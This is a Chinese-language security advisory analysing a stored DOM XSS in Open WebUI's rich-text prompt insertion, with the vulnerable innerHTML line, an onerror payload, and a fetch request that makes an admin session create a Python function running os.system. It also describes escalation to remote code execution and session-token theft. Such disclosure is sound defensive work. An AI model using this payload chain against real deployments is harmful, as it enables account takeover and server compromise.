Open WebUI存储型DOM XSS漏洞分析
漏洞概述
Open WebUI在启用"以富文本插入提示"功能时,存在存储型DOM跨站脚本(XSS)漏洞。攻击者可通过创建恶意提示,在用户执行相应命令时触发XSS攻击,导致账户接管(ATO)和远程代码执行(RCE)。
技术细节
漏洞位置
漏洞位于RichTextInput.svelte组件的第348行:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
export const replaceCommandWithText = async (text) => {
const { state, dispatch } = editor.view;
const { selection } = state;
const pos = selection.from;
// 获取文档的纯文本
// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');
// 在光标处查找单词边界
const { start, end } = getWordBoundsAtPos(state.doc, pos);
let tr = state.tr;
if (insertPromptAsRichText) {
const htmlContent = marked
.parse(text, {
breaks: true,
gfm: true
})
.trim();
// 创建临时div来解析HTML
const tempDiv = document.createElement('div');
tempDiv.innerHTML = htmlContent; // <---- 漏洞点
|
漏洞原理
漏洞验证
概念验证(PoC)
- 通过设置确保启用"以富文本插入提示"功能
- 创建如下自定义提示:
1
|
<img src=x onerror=alert(1)>
|
- 通过聊天窗口运行
/poc命令
- 观察到警报被触发
远程代码执行(RCE)
由于管理员可以通过"Functions"功能在服务器上运行任意Python代码,此XSS漏洞可被用来强制触发该漏洞的管理员运行攻击者选择的Python代码。
攻击者可通过以下fetch请求实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('echo RCE')"
})
})
|
由于marked.parse调用会中和包含引号的有效载荷,攻击者需要使用String.fromCodePoint从其十进制值手动构造字符串。
影响分析
- 普通用户:运行恶意提示可能导致账户被接管,恶意JavaScript可从localstorage读取会话令牌并外泄到攻击者控制的服务器
- 管理员用户:运行恶意提示可能导致后端服务器面临远程代码执行风险,因为通过漏洞运行的恶意JavaScript可以管理员身份发送请求运行恶意Python函数
限制条件
- 默认情况下,低权限用户无法创建提示,需要
USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS权限
- 触发漏洞需要受害用户在偏好设置中启用"以富文本插入提示"功能(默认关闭)
修复方案
在将用户控制的HTML赋值给.innerHtml之前,使用DOMPurify进行消毒处理。
参考信息
- GHSA ID: GHSA-w7xj-8fx7-wfch
- 修复提交: open-webui/open-webui@eb9c4c0
- 受影响版本: <= 0.6.34
- 修复版本: 0.6.35